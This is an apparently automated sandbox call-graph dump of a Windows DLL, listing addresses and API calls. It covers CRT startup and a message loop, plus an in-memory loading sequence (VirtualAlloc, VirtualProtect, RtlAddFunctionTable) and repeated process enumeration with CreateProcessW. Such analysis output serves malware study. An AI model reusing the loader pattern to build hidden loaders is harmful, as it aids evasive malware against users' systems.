7248->7351 7250 10001f50 7249->7250 7250->7246 7255 10004660 __initmbctable 6 API calls 7250->7255 7253 10001fa2 7253->7248 7257 10004660 __initmbctable 6 API calls 7253->7257 7254 10001fce 7256 10001fe6 7254->7256 7258 10004660 __initmbctable 6 API calls 7254->7258 7255->7246 7259 10005070 __initmbctable 51 API calls 7256->7259 7257->7248 7258->7256 7260 10001ffe 7259->7260 7261 10002016 7260->7261 7262 10004660 __initmbctable 6 API calls 7260->7262 7364 10004e30 7261->7364 7262->7261 7265 10001a70 GetModuleHandleA 7264->7265 7266 10001aa3 ExitProcess 7265->7266 7267 10001a8a GetProcAddress 7265->7267 7267->7266 7268 10001a9f 7267->7268 7268->7266 7270 100031b2 7269->7270 7272 100031ed 7270->7272 7273 100031ca Sleep 7270->7273 7425 10001070 7270->7425 7272->7193 7272->7194 7273->7270 7274 100031ea 7273->7274 7274->7272 7446 10002db0 GetLastError FlsGetValue 7275->7446 7277 10002279 7277->7188 7279 10002bd0 __initmbctable 3 API calls 7278->7279 7280 10004d2f 7279->7280 7281 10004dab 7280->7281 7282 10001b20 __initmbctable 52 API calls 7280->7282 7281->7204 7283 10004d41 7282->7283 7284 10004d59 7283->7284 7285 10004660 __initmbctable 6 API calls 7283->7285 7286 10004d60 7284->7286 7287 10004d69 GetModuleHandleA 7284->7287 7285->7284 7289 10002b00 __initmbctable 3 API calls 7286->7289 7287->7286 7288 10004d7b GetProcAddress 7287->7288 7288->7286 7289->7281 7291 10001145 RtlDeleteBoundaryDescriptor 7290->7291 7295 10001175 __initmbctable 7290->7295 7292 10001160 7291->7292 7291->7295 7293 10002270 __initmbctable 52 API calls 7292->7293 7294 10001165 GetLastError 7293->7294 7294->7295 7295->7207 7297 10005308 7296->7297 7298 10005312 7297->7298 7299 10002270 __initmbctable 54 API calls 7297->7299 7298->7219 7300 10005333 7299->7300 7303 10004700 7300->7303 7312 10002bd0 7303->7312 7305 10004732 __initmbctable 7306 10004737 7305->7306 7307 10004761 RtlCaptureContext 7305->7307 7306->7219 7317 10001200 7307->7317 7309 10004781 IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter 7310 100047d8 GetCurrentProcess TerminateProcess 7309->7310 7311 100047cc __initmbctable 7309->7311 7310->7306 7311->7310 7313 10002be4 FlsGetValue 7312->7313 7314 10002bf8 GetModuleHandleA 7312->7314 7313->7314 7315 10002bef 7313->7315 7314->7315 7316 10002c0a GetProcAddress 7314->7316 7315->7305 7316->7315 7318 10001209 7317->7318 7318->7309 7318->7318 7320 10005266 7319->7320 7321 1000525c 7319->7321 7322 10002270 __initmbctable 54 API calls 7320->7322 7321->7320 7323 100052a0 7321->7323 7324 1000526e 7322->7324 7327 100052ee 7323->7327 7328 10002270 __initmbctable 54 API calls 7323->7328 7325 10004700 __initmbctable 9 API calls 7324->7325 7326 1000528c 7325->7326 7326->7243 7327->7243 7329 100052c6 7328->7329 7330 10004700 __initmbctable 9 API calls 7329->7330 7331 100052e4 7330->7331 7331->7243 7333 10001200 __initmbctable 7332->7333 7334 10004689 IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter 7333->7334 7335 100046e0 GetCurrentProcess TerminateProcess 7334->7335 7336 100046d4 __initmbctable 7334->7336 7335->7244 7336->7335 7340 1000513f 7337->7340 7338 10005144 7339 10002270 __initmbctable 54 API calls 7338->7339 7346 10005149 7338->7346 7342 10005176 7339->7342 7340->7338 7341 1000515f 7340->7341 7345 1000519e 7340->7345 7341->7253 7343 10004700 __initmbctable 9 API calls 7342->7343 7344 10005194 7343->7344 7344->7253 7345->7346 7347 10002270 __initmbctable 54 API calls 7345->7347 7346->7253 7348 1000521c 7347->7348 7349 10004700 __initmbctable 9 API calls 7348->7349 7350 1000523a 7349->7350 7350->7253 7352 10005086 7351->7352 7356 1000507c 7351->7356 7353 10002270 __initmbctable 54 API calls 7352->7353 7354 1000508e 7353->7354 7355 10004700 __initmbctable 9 API calls 7354->7355 7357 100050ac 7355->7357 7356->7352 7358 100050d0 7356->7358 7357->7254 7359 1000511e 7358->7359 7360 10002270 __initmbctable 54 API calls 7358->7360 7359->7254 7361 100050f6 7360->7361 7362 10004700 __initmbctable 9 API calls 7361->7362 7363 10005114 7362->7363 7363->7254 7401 10002b70 7364->7401 7367 10004e77 LoadLibraryA 7368 10004e93 GetProcAddress 7367->7368 7369 10004e8c 7367->7369 7368->7369 7372 10004ea8 7368->7372 7369->7264 7370 10004ff3 7375 10002bd0 __initmbctable 3 API calls 7370->7375 7392 10004fe0 7370->7392 7371 10004f5a 7371->7370 7374 10002bd0 __initmbctable 3 API calls 7371->7374 7406 10002b00 7372->7406 7373 10002bd0 __initmbctable 3 API calls 7373->7369 7380 10004f7f 7374->7380 7381 10005004 7375->7381 7378 10002b00 __initmbctable 3 API calls 7379 10004ecf GetProcAddress 7378->7379 7382 10002b00 __initmbctable 3 API calls 7379->7382 7383 10004fbe 7380->7383 7385 10002bd0 __initmbctable 3 API calls 7380->7385 7389 10002bd0 __initmbctable 3 API calls 7381->7389 7381->7392 7384 10004eee 7382->7384 7418 10001b70 7383->7418 7411 10001b20 7384->7411 7388 10004f95 7385->7388 7388->7370 7388->7383 7389->7392 7390 10004fc8 7390->7392 7394 10004660 __initmbctable 6 API calls 7390->7394 7391 10004eff 7393 10004f17 7391->7393 7395 10004660 __initmbctable 6 API calls 7391->7395 7392->7373 7393->7371 7396 10004f1e GetProcAddress 7393->7396 7394->7392 7395->7393 7397 10002b00 __initmbctable 3 API calls 7396->7397 7398 10004f36 7397->7398 7398->7371 7399 10004f42 GetProcAddress 7398->7399 7400 10002b00 __initmbctable 3 API calls 7399->7400 7400->7371 7402 10002b93 GetModuleHandleA 7401->7402 7403 10002b7f FlsGetValue 7401->7403 7404 10002b8a 7402->7404 7405 10002ba5 GetProcAddress 7402->7405 7403->7402 7403->7404 7404->7367 7404->7371 7405->7404 7407 10002b14 FlsGetValue 7406->7407 7408 10002b28 GetModuleHandleA 7406->7408 7407->7408 7409 10002b1f GetProcAddress 7407->7409 7408->7409 7410 10002b3a GetProcAddress 7408->7410 7409->7378 7410->7409 7412 10001b29 7411->7412 7413 10001b60 7412->7413 7414 10002270 __initmbctable 54 API calls 7412->7414 7413->7391 7415 10001b2e 7414->7415 7416 10004700 __initmbctable 9 API calls 7415->7416 7417 10001b4c 7416->7417 7417->7391 7419 10001b79 7418->7419 7420 10002270 __initmbctable 54 API calls 7419->7420 7421 10001baf 7419->7421 7422 10001b7e 7420->7422 7421->7390 7423 10004700 __initmbctable 9 API calls 7422->7423 7424 10001b9c 7423->7424 7424->7390 7426 10001122 7425->7426 7433 10001086 7425->7433 7427 100022b0 __initmbctable 3 API calls 7426->7427 7429 10001127 7427->7429 7428 100010cc RtlAllocateHeap 7432 10001105 7428->7432 7428->7433 7431 10002270 __initmbctable 53 API calls 7429->7431 7430 100020a0 __initmbctable 53 API calls 7440 100010ac 7430->7440 7434 1000112c 7431->7434 7432->7270 7433->7428 7435 100010f5 7433->7435 7439 100010f3 7433->7439 7433->7440 7443 100022b0 7433->7443 7434->7270 7436 10002270 __initmbctable 53 API calls 7435->7436 7436->7439 7437 10001e60 __initmbctable 53 API calls 7437->7440 7442 10002270 __initmbctable 53 API calls 7439->7442 7440->7428 7440->7430 7440->7437 7441 10001a70 __initmbctable 3 API calls 7440->7441 7441->7440 7442->7432 7444 10002bd0 __initmbctable 3 API calls 7443->7444 7445 100022c5 7444->7445 7445->7433 7447 10002e28 SetLastError 7446->7447 7448 10002dda 7446->7448 7447->7277 7458 10003210 7448->7458 7451 10002def FlsSetValue 7452 10002e02 7451->7452 7453 10002e1e 7451->7453 7464 10002ca0 GetModuleHandleA 7452->7464 7455 10001140 __initmbctable 49 API calls 7453->7455 7457 10002e26 7455->7457 7457->7447 7460 10003240 7458->7460 7461 10002de7 7460->7461 7462 1000325e Sleep 7460->7462 7471 100065e0 7460->7471 7461->7447 7461->7451 7462->7460 7463 10003280 7462->7463 7463->7461 7465 10002d11 7464->7465 7466 10002ce3 GetProcAddress GetProcAddress 7464->7466 7467 10004600 __initmbctable 51 API calls 7465->7467 7466->7465 7468 10002d49 __initmbctable 7467->7468 7482 100044d0 LeaveCriticalSection 7468->7482 7472 100065f9 7471->7472 7476 1000663e 7471->7476 7473 1000660a 7472->7473 7472->7476 7475 10002270 __initmbctable 53 API calls 7473->7475 7474 10006658 HeapAlloc 7474->7476 7481 10006685 7474->7481 7477 1000660f 7475->7477 7476->7474 7478 100022b0 __initmbctable 3 API calls 7476->7478 7476->7481 7479 10004700 __initmbctable 9 API calls 7477->7479 7478->7476 7480 1000662d 7479->7480 7480->7460 7481->7460 8376 10001420 8377 100026e0 54 API calls 8376->8377 8378 1000142e 8377->8378 8423 100018a0 8424 100018c0 8423->8424 8425 100018c5 8423->8425 8427 100042a0 8424->8427 8428 100042c8 8427->8428 8429 100042dc GetSystemTimeAsFileTime GetCurrentProcessId GetCurrentThreadId GetTickCount QueryPerformanceCounter 8427->8429 8428->8425 8429->8425 8730 10008220 8731 10008250 8730->8731 8734 10008260 8730->8734 8732 10008257 8731->8732 8733 1000826e DestroyWindow DestroyWindow PostQuitMessage 8731->8733 8735 10008262 8732->8735 8736 1000825e DefWindowProcW 8732->8736 8733->8734 8739 100081b0 BeginPaint EndPaint 8735->8739 8736->8734 8740 10001050 __initmbctable 8 API calls 8739->8740 8741 10008204 8740->8741 8741->8734 8808 100096a0 8809 10009b0b 8808->8809 8810 10001050 __initmbctable 8 API calls 8809->8810 8811 10009b1d 8810->8811 8812 10004aa8 8813 10002db0 __initmbctable 54 API calls 8812->8813 8814 10004aad 8813->8814 8815 10004600 __initmbctable 54 API calls 8814->8815 8816 10004b2e 8814->8816 8820 10004ab5 8814->8820 8815->8816 8817 10002b70 __initmbctable 3 API calls 8816->8817 8818 10004b7f 8816->8818 8817->8818 8818->8820 8821 100044d0 LeaveCriticalSection 8818->8821 8650 10001db0 8651 10001dc9 8650->8651 8652 10001dbf 8650->8652 8654 100044d0 LeaveCriticalSection 8652->8654 8655 100065b0 8656 100065d9 8655->8656 8657 100065bd 8655->8657 8658 10002bd0 __initmbctable 3 API calls 8657->8658 8659 100065c9 SetUnhandledExceptionFilter 8658->8659 8659->8656 8742 10010a34 8743 10010b30 8742->8743 8744 10001140 __initmbctable 54 API calls 8743->8744 8745 10010b3a SysFreeString 8744->8745 8746 10010b4d 8745->8746 8747 10004a3c 8748 10004a9e 8747->8748 8749 10002bd0 __initmbctable 3 API calls 8748->8749 8751 10004aa3 8749->8751 8750 10004b0d 8751->8750 8752 10004600 __initmbctable 54 API calls 8751->8752 8753 10004b2e 8751->8753 8752->8753 8754 10002b70 __initmbctable 3 API calls 8753->8754 8755 10004b7f 8753->8755 8754->8755 8755->8750 8757 100044d0 LeaveCriticalSection 8755->8757 8383 10002840 8386 100063f0 8383->8386 8387 10004600 __initmbctable 54 API calls 8386->8387 8389 10006403 8387->8389 8392 10001140 __initmbctable 54 API calls 8389->8392 8393 1000644c 8389->8393 8394 10006437 8389->8394 8391 10001140 __initmbctable 54 API calls 8391->8393 8392->8394 8395 100044d0 LeaveCriticalSection 8393->8395 8394->8391 8844 100013c0 8845 100027a0 8844->8845 8846 100027bd 8845->8846 8847 10001140 __initmbctable 54 API calls 8845->8847 8847->8846 8660 10004dc1 8661 10004dd3 8660->8661 8662 10004dc8 SetLastError 8660->8662 8662->8661 8663 1000fdc4 8664 1000fde6 8663->8664 8665 1000fea3 8664->8665 8666 100103f1 LoadStringW 8664->8666 8710 100104db 8664->8710 8667 10010420 LoadStringW 8666->8667 8668 1001048c GetLastError 8666->8668 8667->8668 8670 10010444 LoadStringW 8667->8670 8671 100104a5 GetLastError 8668->8671 8672 10010496 GetLastError 8668->8672 8669 10001050 __initmbctable 8 API calls 8673 100107dd 8669->8673 8670->8668 8674 10010468 LoadStringW 8670->8674 8675 100104c1 8671->8675 8672->8675 8674->8668 8676 100104e7 8674->8676 8677 10009260 4 API calls 8675->8677 8678 10001450 60 API calls 8676->8678 8677->8710 8679 100104f1 8678->8679 8680 10010519 8679->8680 8713 10010bb0 CoInitializeEx 8679->8713 8682 100105c2 8680->8682 8683 10010558 8680->8683 8684 100082c0 4 API calls 8682->8684 8685 10010594 8683->8685 8687 10001000 _Ref_count CoUninitialize 8683->8687 8686 100105cf 8684->8686 8689 10009260 4 API calls 8685->8689 8688 100105ee GetLastError 8686->8688 8690 10009e50 22 API calls 8686->8690 8687->8685 8691 10010607 GetLastError 8688->8691 8692 100105f8 GetLastError 8688->8692 8689->8710 8693 100105ea 8690->8693 8694 10010623 8691->8694 8692->8694 8693->8688 8695 10010649 LoadAcceleratorsW 8693->8695 8696 10009260 4 API calls 8694->8696 8697 100106ca GetMessageW 8695->8697 8698 1001066f GetLastError 8695->8698 8696->8710 8699 100106e4 IsDialogMessageW 8697->8699 8700 1001075d 8697->8700 8701 10010679 GetLastError 8698->8701 8702 10010688 GetLastError 8698->8702 8704 100106ff IsDialogMessageW 8699->8704 8707 100106fd 8699->8707 8709 10001000 _Ref_count CoUninitialize 8700->8709 8712 10010799 MessageBoxA 8700->8712 8703 100106a4 8701->8703 8702->8703 8706 10009260 4 API calls 8703->8706 8704->8707 8708 1001071a TranslateAcceleratorW 8704->8708 8706->8710 8707->8697 8708->8707 8711 1001073c TranslateMessage DispatchMessageW 8708->8711 8709->8712 8710->8669 8711->8707 8712->8710 8713->8680 8300 18001e4a8 8301 18001e4e8 8300->8301 8304 180017414 8301->8304 8303 18001e6b6 8305 1800174b5 8304->8305 8306 1800175e6 CreateProcessW 8305->8306 8306->8303 8307 1800093ac 8311 1800093f7 8307->8311 8308 18000aeb4 8335 18001f764 8308->8335 8310 18000ae75 8311->8308 8311->8310 8316 180013e18 8311->8316 8320 18001762c 8311->8320 8324 1800193e0 8311->8324 8328 180026b40 8311->8328 8319 180013e55 8316->8319 8318 180013f91 8318->8311 8319->8318 8339 1800118e0 8319->8339 8323 180017656 8320->8323 8321 180017848 8321->8311 8322 1800118e0 Process32NextW 8322->8323 8323->8321 8323->8322 8327 180019433 8324->8327 8325 18001970e 8325->8311 8326 1800118e0 Process32NextW 8326->8327 8327->8325 8327->8326 8334 180026b62 8328->8334 8329 180026f19 8354 18001b3b4 8329->8354 8330 180026f22 8330->8311 8334->8329 8334->8330 8346 180028ee8 8334->8346 8350 18000c458 8334->8350 8338 18001f798 8335->8338 8336 18001e4a8 CreateProcessW 8337 18001fc56 8336->8337 8337->8310 8338->8336 8338->8337 8342 18001a804 8339->8342 8341 1800119fe 8341->8319 8345 18001a848 8342->8345 8343 18001ab06 Process32NextW 8343->8345 8344 18001ab3a 8344->8341 8345->8343 8345->8344 8349 180028f21 8346->8349 8348 180029846 8348->8334 8349->8348 8358 18001e4a8 8349->8358 8352 18000c49e 8350->8352 8351 18001e4a8 CreateProcessW 8353 18000cb5b 8351->8353 8352->8351 8352->8353 8353->8334 8357 180028ee8 8354->8357 8355 18001e4a8 CreateProcessW 8355->8357 8356 180029846 8356->8330 8357->8355 8357->8356 8359 18001e4e8 8358->8359 8360 180017414 CreateProcessW 8359->8360 8361 18001e6b6 8360->8361 8361->8349 8848 100013d0 8851 100027a0 8848->8851 8850 100013f2 8852 100027b4 8851->8852 8853 100027bd 8851->8853 8854 10001140 __initmbctable 54 API calls 8852->8854 8853->8850 8854->8853 8365 1e200000000 8366 1e200000183 8365->8366 8367 1e20000043e VirtualAlloc 8366->8367 8370 1e200000462 8367->8370 8368 1e200000531 GetNativeSystemInfo 8369 1e20000056d VirtualAlloc 8368->8369 8372 1e200000a7b 8368->8372 8375 1e20000058b 8369->8375 8370->8368 8370->8372 8371 1e200000a00 8371->8372 8373 1e200000a56 RtlAddFunctionTable 8371->8373 8373->8372 8374 1e2000009d9 VirtualProtect 8374->8375 8375->8371 8375->8374 8430 10004ce0 InitializeCriticalSection 7488 10001760 7491 10001789 7488->7491 7489 100017c6 7499 10001791 7489->7499 7550 10009f20 7489->7550 7491->7489 7491->7499 7500 10001500 7491->7500 7492 100017df 7494 10001808 7492->7494 7495 10009f20 142 API calls 7492->7495 7496 10001500 145 API calls 7494->7496 7494->7499 7497 100017fb 7495->7497 7496->7499 7498 10001500 145 API calls 7497->7498 7498->7494 7501 10001515 GetProcessHeap HeapAlloc 7500->7501 7502 10001676 7500->7502 7504 10001534 GetVersionExA 7501->7504 7505 1000155b 7501->7505 7503 100016c3 7502->7503 7512 1000167a 7502->7512 7506 10001738 7503->7506 7507 100016c8 7503->7507 7508 10001567 GetProcessHeap HeapFree 7504->7508 7509 10001547 GetProcessHeap HeapFree 7504->7509 7505->7489 7506->7505 7726 10003070 7506->7726 7514 10003210 __initmbctable 54 API calls 7507->7514 7510 100015a8 7508->7510 7509->7505 7609 10002190 HeapCreate 7510->7609 7512->7505 7516 100036a0 55 API calls 7512->7516 7517 100016dc 7514->7517 7515 100015dc 7515->7505 7612 100030d0 7515->7612 7518 100016ac 7516->7518 7517->7505 7519 100016e8 FlsSetValue 7517->7519 7521 10002c50 58 API calls 7518->7521 7522 10001724 7519->7522 7523 100016fb 7519->7523 7524 100016b1 7521->7524 7526 10001140 __initmbctable 54 API calls 7522->7526 7525 10002ca0 __initmbctable 54 API calls 7523->7525 7725 100021f0 HeapDestroy 7524->7725 7529 10001705 GetCurrentThreadId 7525->7529 7530 1000172c 7526->7530 7527 10001665 7724 100021f0 HeapDestroy 7527->7724 7529->7489 7530->7489 7531 100015fd 7531->7527 7534 10001606 GetCommandLineA 7531->7534 7532 100016b6 7532->7489 7632 10003c00 7534->7632 7535 1000166a 7535->7489 7537 10001618 7658 10003350 GetStartupInfoA 7537->7658 7540 10001660 7714 10002c50 7540->7714 7543 1000162d 7544 10001641 7543->7544 7686 10003730 7543->7686 7549 10001645 7544->7549 7709 100036a0 7544->7709 7547 10001636 7547->7544 7703 10001bc0 7547->7703 7549->7489 7551 10009f64 7550->7551 7552 10009f5f 7550->7552 7553 100013b0 __initmbctable 81 API calls 7551->7553 7556 10001050 __initmbctable 8 API calls 7552->7556 7554 1000fbfb CoInitialize 7553->7554 7554->7552 7555 1000fc2c 7554->7555 8243 10001450 7555->8243 7558 100107dd 7556->7558 7558->7492 7559 1000fc36 7559->7552 7560 1000fd36 VirtualAlloc 7559->7560 7562 1000fd6e __initmbctable 7560->7562 7561 1000fea3 7561->7492 7562->7552 7562->7561 7563 100103f1 LoadStringW 7562->7563 7564 10010420 LoadStringW 7563->7564 7565 1001048c GetLastError 7563->7565 7564->7565 7566 10010444 LoadStringW 7564->7566 7567 100104a5 GetLastError 7565->7567 7568 10010496 GetLastError 7565->7568 7566->7565 7569 10010468 LoadStringW 7566->7569 7570 100104c1 7567->7570 7568->7570 7569->7565 7571 100104e7 7569->7571 8256 10009260 7570->8256 7573 10001450 60 API calls 7571->7573 7574 100104f1 7573->7574 7575 10010519 7574->7575 8259 10010bb0 CoInitializeEx 7574->8259 7577 100105c2 7575->7577 7578 10010558 7575->7578 8263 100082c0 7577->8263 7580 10010582 7578->7580 7581 10010594 7578->7581 8260 10001000 7580->8260 7586 10009260 4 API calls 7581->7586 7582 100105cf 7584 100105d6 7582->7584 7585 100105ee GetLastError 7582->7585 8266 10009e50 CreateWindowExW 7584->8266 7588 10010607 GetLastError 7585->7588 7589 100105f8 GetLastError 7585->7589 7586->7552 7591 10010623 7588->7591 7589->7591 7593 10009260 4 API calls 7591->7593 7592 10010649 LoadAcceleratorsW 7594 100106ca GetMessageW 7592->7594 7595 1001066f GetLastError 7592->7595 7593->7552 7596 100106e4 IsDialogMessageW 7594->7596 7597 1001075d 7594->7597 7598 10010679 GetLastError 7595->7598 7599 10010688 GetLastError 7595->7599 7601 100106ff IsDialogMessageW 7596->7601 7606 100106fd 7596->7606 7605 10001000 _Ref_count CoUninitialize 7597->7605 7608 10010799 MessageBoxA 7597->7608 7600 100106a4 7598->7600 7599->7600 7603 10009260 4 API calls 7600->7603 7604 1001071a TranslateAcceleratorW 7601->7604 7601->7606 7603->7552 7604->7606 7607 1001073c TranslateMessage DispatchMessageW 7604->7607 7605->7608 7606->7594 7607->7606 7608->7552 7610 100021b4 7609->7610 7611 100021b9 HeapSetInformation 7609->7611 7610->7515 7611->7515 7734 10001df0 7612->7734 7617 100030e4 FlsAlloc 7619 10003166 7617->7619 7621 100030fc 7617->7621 7618 1000314b 7618->7619 7620 10003156 FlsFree 7618->7620 7622 10003181 7619->7622 7623 10003171 TlsFree 7619->7623 7620->7619 7624 10003210 __initmbctable 54 API calls 7621->7624 7745 10004430 7622->7745 7623->7622 7626 1000310b 7624->7626 7626->7618 7628 10003113 FlsSetValue 7626->7628 7628->7618 7629 10003126 7628->7629 7630 10002ca0 __initmbctable 54 API calls 7629->7630 7631 10003130 GetCurrentThreadId 7630->7631 7631->7531 7633 10003c51 7632->7633 7634 10003c1d GetEnvironmentStringsW 7632->7634 7636 10003c60 GetEnvironmentStringsW 7633->7636 7637 10003c42 7633->7637 7635 10003c37 GetLastError 7634->7635 7641 10003c2b WideCharToMultiByte 7634->7641 7635->7633 7635->7637 7638 10003da3 7636->7638 7636->7641 7637->7638 7639 10003d56 GetEnvironmentStrings 7637->7639 7638->7537 7639->7638 7642 10003d64 7639->7642 7643 10003d40 FreeEnvironmentStringsW 7641->7643 7644 10003cd3 7641->7644 7646 10003190 __initmbctable 54 API calls 7642->7646 7647 10003d22 7643->7647 7645 10003190 __initmbctable 54 API calls 7644->7645 7648 10003cdb 7645->7648 7649 10003d92 7646->7649 7647->7537 7648->7643 7650 10003ce3 WideCharToMultiByte 7648->7650 7651 10003db9 __initmbctable 7649->7651 7652 10003d9a FreeEnvironmentStringsA 7649->7652 7653 10003d16 FreeEnvironmentStringsW 7650->7653 7654 10003d0b 7650->7654 7656 10003dc7 FreeEnvironmentStringsA 7651->7656 7652->7638 7653->7647 7655 10001140 __initmbctable 54 API calls 7654->7655 7657 10003d13 7655->7657 7656->7537 7657->7653 7659 10003210 __initmbctable 54 API calls 7658->7659 7666 1000338f 7659->7666 7660 10001624 7660->7540 7674 10003af0 7660->7674 7661 100035b3 GetStdHandle 7669 10003562 7661->7669 7662 10003210 __initmbctable 54 API calls 7662->7666 7663 1000362a SetHandleCount 7663->7660 7664 100034ca 7667 10003500 GetFileType 7664->7667 7668 1000350a 7664->7668 7664->7669 7665 100035c7 GetFileType 7665->7669 7666->7660 7666->7662 7666->7664 7666->7666 7666->7669 7667->7664 7667->7668 7668->7664 7670 10004d00 __initmbctable 54 API calls 7668->7670 7672 10003548 7668->7672 7669->7661 7669->7663 7669->7665 7673 100035df 7669->7673 7670->7668 7671 10004d00 __initmbctable 54 API calls 7671->7673 7672->7660 7673->7669 7673->7671 7673->7672 7675 10003b02 GetModuleFileNameA 7674->7675 7676 10003afd 7674->7676 7678 10003b3e 7675->7678 7755 10005e00 7676->7755 7759 100038b0 7678->7759 7680 10003be7 7680->7543 7682 10003190 __initmbctable 54 API calls 7683 10003b94 7682->7683 7683->7680 7684 100038b0 59 API calls 7683->7684 7685 10003bba 7684->7685 7685->7543 7687 1000373d 7686->7687 7690 10003742 7686->7690 7688 10005e00 __initmbctable 96 API calls 7687->7688 7688->7690 7689 10003759 7689->7547 7690->7689 7691 10003210 __initmbctable 54 API calls 7690->7691 7700 100037aa 7691->7700 7692 100037b9 7692->7547 7693 10003852 7694 10001140 __initmbctable 54 API calls 7693->7694 7695 10003861 7694->7695 7695->7547 7696 10003210 __initmbctable 54 API calls 7696->7700 7697 10003895 7699 10001140 __initmbctable 54 API calls 7697->7699 7698 10005250 __initmbctable 54 API calls 7698->7700 7699->7695 7700->7692 7700->7693 7700->7696 7700->7697 7700->7698 7701 10003831 7700->7701 7702 10004660 __initmbctable 6 API calls 7701->7702 7702->7700 7706 10001bd5 7703->7706 8158 10004820 7706->8158 7708 10001c37 7708->7544 7711 100036c8 7709->7711 7710 10003715 7710->7540 7711->7710 7712 10001140 __initmbctable 54 API calls 7711->7712 7713 100036e5 DeleteCriticalSection 7711->7713 7712->7711 7713->7711 7715 10002c6f 7714->7715 7716 10002c5f FlsFree 7714->7716 7717 10002c8a 7715->7717 7718 10002c7a TlsFree 7715->7718 7716->7715 7719 1000446f DeleteCriticalSection 7717->7719 7720 1000448c 7717->7720 7718->7717 7721 10001140 __initmbctable 54 API calls 7719->7721 7722 100044ae DeleteCriticalSection 7720->7722 7723 100044bd 7720->7723 7721->7717 7722->7720 7723->7527 7724->7535 7725->7532 7727 10003084 7726->7727 7728 100030a8 7726->7728 7731 10003098 FlsSetValue 7727->7731 7732 10003089 FlsGetValue 7727->7732 7729 100030b3 TlsSetValue 7728->7729 7730 100030bb 7728->7730 7729->7730 7730->7505 8212 10002ef0 7731->8212 7732->7731 7735 10002b70 __initmbctable 3 API calls 7734->7735 7736 10001dfb _initp_misc_winsig 7735->7736 7752 10004990 7736->7752 7739 10002b00 __initmbctable 3 API calls 7740 10001e4a 7739->7740 7741 10004380 7740->7741 7742 100043c0 7741->7742 7743 10004d00 __initmbctable 54 API calls 7742->7743 7744 100030e0 7742->7744 7743->7742 7744->7617 7744->7618 7749 10004461 7745->7749 7746 1000446f DeleteCriticalSection 7748 10001140 __initmbctable 54 API calls 7746->7748 7747 1000448c 7750 100044ae DeleteCriticalSection 7747->7750 7751 10003186 7747->7751 7748->7749 7749->7746 7749->7747 7750->7747 7751->7531 7753 10002b00 __initmbctable 3 API calls 7752->7753 7754 10001e3e 7753->7754 7754->7739 7756 10005e0d 7755->7756 7758 10005e17 7755->7758 7765 10005bc0 7756->7765 7758->7675 7761 100038f4 7759->7761 7763 10003973 7761->7763 8151 100067d0 7761->8151 7762 10003ab5 7762->7680 7762->7682 7763->7762 7764 100067d0 59 API calls 7763->7764 7764->7763 7789 10002e50 GetLastError FlsGetValue 7765->7789 7772 10005d87 7772->7758 7773 10003190 __initmbctable 54 API calls 7774 10005c1b __initmbctable 7773->7774 7774->7772 7826 10005790 7774->7826 7777 10005c56 7782 10001140 __initmbctable 54 API calls 7777->7782 7783 10005c7b 7777->7783 7778 10005d89 7778->7772 7779 10005da2 7778->7779 7780 10001140 __initmbctable 54 API calls 7778->7780 7781 10002270 __initmbctable 54 API calls 7779->7781 7780->7779 7781->7772 7782->7783 7783->7772 7784 10004600 __initmbctable 54 API calls 7783->7784 7785 10005cb3 7784->7785 7786 10005d72 7785->7786 7788 10001140 __initmbctable 54 API calls 7785->7788 7835 100044d0 LeaveCriticalSection 7786->7835 7788->7786 7790 10002ec8 SetLastError 7789->7790 7791 10002e7a 7789->7791 7793 10002ee2 7790->7793 7794 10002eda 7790->7794 7792 10003210 __initmbctable 54 API calls 7791->7792 7795 10002e87 7792->7795 7804 10005590 7793->7804 7796 10001a40 __initmbctable 54 API calls 7794->7796 7795->7790 7797 10002e8f FlsSetValue 7795->7797 7796->7793 7798 10002ea2 7797->7798 7799 10002ebe 7797->7799 7800 10002ca0 __initmbctable 54 API calls 7798->7800 7801 10001140 __initmbctable 54 API calls 7799->7801 7802 10002eac GetCurrentThreadId 7800->7802 7803 10002ec6 7801->7803 7802->7790 7803->7790 7805 10002e50 __initmbctable 59 API calls 7804->7805 7806 100055a3 7805->7806 7807 100055be 7806->7807 7808 10004600 __initmbctable 54 API calls 7806->7808 7809 10005642 7807->7809 7811 10001a40 __initmbctable 54 API calls 7807->7811 7813 100055d1 7808->7813 7815 10005680 7809->7815 7811->7809 7812 10005608 7836 100044d0 LeaveCriticalSection 7812->7836 7813->7812 7814 10001140 __initmbctable 54 API calls 7813->7814 7814->7812 7816 10002e50 __initmbctable 59 API calls 7815->7816 7817 100056a7 7816->7817 7820 100056d4 7817->7820 7837 10006170 7817->7837 7819 100056f8 7822 1000573c 7819->7822 7823 1000571e GetOEMCP 7819->7823 7820->7819 7821 10005590 __initmbctable 59 API calls 7820->7821 7821->7819 7824 10005741 GetACP 7822->7824 7825 1000572e 7822->7825 7823->7825 7824->7825 7825->7772 7825->7773 7827 10005680 __initmbctable 61 API calls 7826->7827 7829 100057be 7827->7829 7828 100057c8 __initmbctable 8006 10001050 7828->8006 7829->7828 7830 10005888 GetCPInfo 7829->7830 7834 1000589d __initmbctable 7829->7834 7830->7828 7830->7834 7833 10005bba 7833->7777 7833->7778 7996 10005360 GetCPInfo 7834->7996 7838 10002e50 __initmbctable 59 API calls 7837->7838 7839 1000617b 7838->7839 7840 100061a4 7839->7840 7841 10006196 7839->7841 7842 10004600 __initmbctable 54 API calls 7840->7842 7843 10002e50 __initmbctable 59 API calls 7841->7843 7844 100061ae 7842->7844 7845 1000619b 7843->7845 7851 10006110 7844->7851 7849 100061dc 7845->7849 7850 10001a40 __initmbctable 54 API calls 7845->7850 7849->7820 7850->7849 7852 1000615a 7851->7852 7853 1000611e __initmbctable 7851->7853 7855 100044d0 LeaveCriticalSection 7852->7855 7853->7852 7856 10005e30 7853->7856 7857 10005ec1 7856->7857 7860 10005e48 7856->7860 7858 10005f11 7857->7858 7861 10001140 __initmbctable 54 API calls 7857->7861 7859 10005f3e 7858->7859 7908 10007860 7858->7908 7868 10005f9c 7859->7868 7879 10001140 54 API calls __initmbctable 7859->7879 7860->7857 7867 10005e87 7860->7867 7871 10001140 __initmbctable 54 API calls 7860->7871 7863 10005ee5 7861->7863 7866 10001140 __initmbctable 54 API calls 7863->7866 7864 10005ea9 7869 10001140 __initmbctable 54 API calls 7864->7869 7872 10005ef5 7866->7872 7867->7864 7874 10001140 __initmbctable 54 API calls 7867->7874 7875 10005eb5 7869->7875 7870 10001140 __initmbctable 54 API calls 7870->7859 7876 10005e7b 7871->7876 7873 10001140 __initmbctable 54 API calls 7872->7873 7877 10005f05 7873->7877 7878 10005e9d 7874->7878 7880 10001140 __initmbctable 54 API calls 